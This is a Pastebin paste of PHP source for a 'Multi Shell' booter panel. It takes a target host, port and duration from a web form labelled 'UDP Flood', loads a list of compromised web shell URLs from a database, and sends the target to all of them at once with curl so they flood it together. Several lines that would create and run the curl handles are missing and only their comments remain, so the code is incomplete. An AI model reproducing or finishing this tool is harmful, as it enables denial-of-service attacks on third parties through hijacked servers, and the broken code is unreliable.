Advertisement
Guest User

Untitled

a guest
Jun 25th, 2017
72
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.78 KB | None | 0 0
  1. <?php
  2. /***************************************************
  3. **** ========================================== ****
  4. **** Multi Shell! ****
  5. **** Coding by Orgy ****
  6. **** Nice Looking Code? Of course ****
  7. **** Because there's beauty in the breakdown. ****
  8. **** ========================================== ****
  9. ***************************************************/
  10.  
  11. if((isset($_GET['host'])) and (isset($_GET['port'])) and (isset($_GET['time']))){ //If sending GET data
  12. include_once("db.php"); //Include the database connection
  13. $host = $_GET['host']; //Set the host GET to an easier to use variable
  14. $port = $_GET['port']; //Set the port GET to an easier to use variable
  15. $time = $_GET['time']; //Set the time GET to an easier to use variable
  16.  
  17. $fullcurl = "?host=".$host."&time=".$time."&port=".$port; //GET data for the cURL handler
  18. $SQL = mysql_query("SELECT url FROM shells"); //Select the shells
  19. //Initialize the multi_handle
  20. $handles = array(); //Create an array for the handles
  21.  
  22. while($resultSet = mysql_fetch_array($SQL)){ //While fetching the rows
  23. //Load the urls and send GET data
  24. //Only load it for 10 seconds (Long enough to send the data, can reduce this if your server is more powerful)
  25. //Don't echo the contents of the cURL shit
  26. //Add the handles to the multi_handle
  27. $handles[] = $ch; //Load the array into a handle
  28. }
  29.  
  30. $running = null; // Create a status variable so we know when exec is done.
  31. do { //execute the handles
  32. // Call exec. This call is non-blocking, meaning it works in the background.
  33. usleep(200000); // Sleep while it's executing. You could do other work here, if you have any.
  34. } while ($running > 0); // Keep going until it's done.
  35.  
  36. foreach($handles as $ch) // For loop to remove (close) the regular handles.
  37. {
  38. // Remove the current array handle.
  39. }
  40. // Close the multi handle
  41.  
  42. echo "Successfully sent to all shells"; //Successful. Tell the client to start the timer if you want to implement that
  43. }
  44.  
  45. ?>
  46.  
  47. <html>
  48. <body>
  49. <center>
  50.  
  51. <?php
  52. include("top.php");
  53. echo '<br><b>UDP Flood</b><br>
  54. <form action=? method=GET>
  55. <input type="hidden" name="action" value="boot">
  56. Host: <br><input type=text name=host value=><br>
  57. Length (seconds): <br><input type=text name=time value=><br>
  58. Port (rand for random) : <br><input type=text name=port value=rand><br>
  59. <input type=submit value=Go></form>';
  60. ?>
  61. </center>
  62. </body>
  63. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement